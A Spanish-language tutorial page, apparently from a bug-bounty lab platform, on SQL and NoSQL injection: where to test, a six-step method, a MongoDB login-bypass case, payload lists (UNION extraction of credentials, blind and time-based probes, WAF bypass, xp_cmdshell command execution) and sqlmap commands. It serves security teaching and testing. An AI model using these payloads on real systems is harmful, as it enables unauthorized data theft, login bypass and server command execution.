Nuevos labs cada semana — Accede a todos desde 5€/mes

SQL & NoSQL Injection

Inyección de consultas en bases de datos

Respuesta rápida

¿Qué es SQL & NoSQL Injection?

La inyección SQL/NoSQL permite manipular las consultas que la aplicación envía a la base de datos. Puede extraer datos, bypassear autenticación, modificar registros o incluso ejecutar comandos en el servidor.

Severidad

Crítico

Frecuencia

Común

Payloads

12

Pasos

6

Severidad

Crítico

Frecuencia

Común

Payloads

12

SQLi ocurre cuando input del usuario se concatena directamente en consultas SQL sin sanitizar. NoSQLi aplica a bases como MongoDB, donde operadores como $ne, $gt, $regex pueden manipular consultas JSON. Ambas pueden llevar a extracción total de datos.

Extracción de base de datos completaBypass de autenticaciónModificación/eliminación de datosLectura de archivos del servidorRCE (en algunos motores)

Dónde buscar

Login y registro

Los campos username/password son el vector clásico. Prueba ' OR 1=1 -- en cada uno.

Búsqueda y filtros

Parámetros search=, sort=, order=, filter= que se concatenan en la query.

IDs numéricos

?id=1, ?page=1, ?category=5 — cualquier número que va directamente a un WHERE.

Headers loggeados

X-Forwarded-For, Referer, User-Agent — si se guardan en BD, pueden ser vectores.

APIs JSON con MongoDB

Operadores $ne, $gt, $regex en campos de filtro. Muy común en APIs Node.js + MongoDB.

Metodología

1

Identificar inputs a BD

Busca campos que probablemente interactúan con la base de datos (login, búsqueda, filtros, IDs).

2

Inyectar carácter de quoting

Envía ' o " — si recibes un error SQL en la respuesta, ya sabes el tipo de BD.

3

OR-based bypass

Prueba: ' OR 1=1 -- para bypass de login. Si funciona, la app es vulnerable.

4

UNION-based extraction

Determina el número de columnas: ' UNION SELECT null,null,null -- (incrementa nulls hasta que no de error).

5

Blind detection

Si no hay output: ' AND 1=1 -- vs ' AND 1=2 -- — si las respuestas difieren, es blind SQLi.

6

Time-based blind

' AND SLEEP(5) -- — si la respuesta tarda 5 segundos, confirma inyección blind.

Caso real

NoSQL Injection en login → Extracción de contraseña char por char

$800
1

Detectar NoSQL backend

La API responde con errores de MongoDB cuando se envían caracteres especiales en el login.

2

Bypass de autenticación

{"username": {"$ne": ""}, "password": {"$ne": ""}} — devuelve el primer usuario (admin).

3

Extracción con $regex

{"username": "admin", "password": {"$regex": "^a"}} — si login exitoso, la contraseña empieza por "a".

4

Script de extracción

Iterar caracter por caracter: ^a, ^ab, ^abc... hasta obtener la contraseña completa.

Lección: MongoDB no es inmune a inyección. Los operadores de query ($ne, $regex, $gt) son el equivalente de SQLi en NoSQL. Siempre sanitiza los operadores en inputs JSON.

Payloads

SQL — OR bypass

' OR 1=1 --

SQL — Comment bypass

admin' --

SQL — String equals

' OR '1'='1

NoSQL — Not equals

{"username": {"$ne": ""}, "password": {"$ne": ""}}

NoSQL — Regex

{"username": "admin", "password": {"$regex": ".*"}}

SQL — UNION basic

' UNION SELECT null,null,null --

Payloads avanzados(requiere cuenta)

UNION extract users

' UNION SELECT username,password FROM users --

Blind boolean

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

Time-based blind

' AND IF(1=1,SLEEP(5),0) --

WAF bypass — inline comments

/*!50000UNION*/+/*!50000SELECT*/+1,2,3

NoSQL regex extraction

{"password": {"$regex": "^a"}} → ^ab → ^abc → ...

RCE via xp_cmdshell

'; EXEC xp_cmdshell('whoami') --

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

sqlmap

Herramienta automática de detección y explotación de SQL injection.

sqlmap -u 'https://target.com/search?q=test' --dbs --batch

NoSQLMap

Automatiza la detección y explotación de NoSQL injection en MongoDB.

python nosqlmap.py

Burp Intruder

Fuzzing manual con wordlists de SQLi para detectar inyecciones.

Positions → payload en campo vulnerable → SQLi wordlist

Tips

Los errores SQL son oro

Si ves un error de MySQL/PostgreSQL en la respuesta, ya sabes el tipo de BD y puedes adaptar tus payloads.

NoSQL es igual de vulnerable

MongoDB con APIs JSON acepta operadores como $ne, $gt, $regex. Pruébalos en campos de login.

Second-order SQLi

El payload se inyecta en registro y se ejecuta en otro lugar (panel admin, exports). Muy difícil de detectar pero impactante.

sqlmap con request guardado

sqlmap -r request.txt --dbs — usa un request de Burp guardado para mayor precisión.

Practica SQL & NoSQL Injection con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.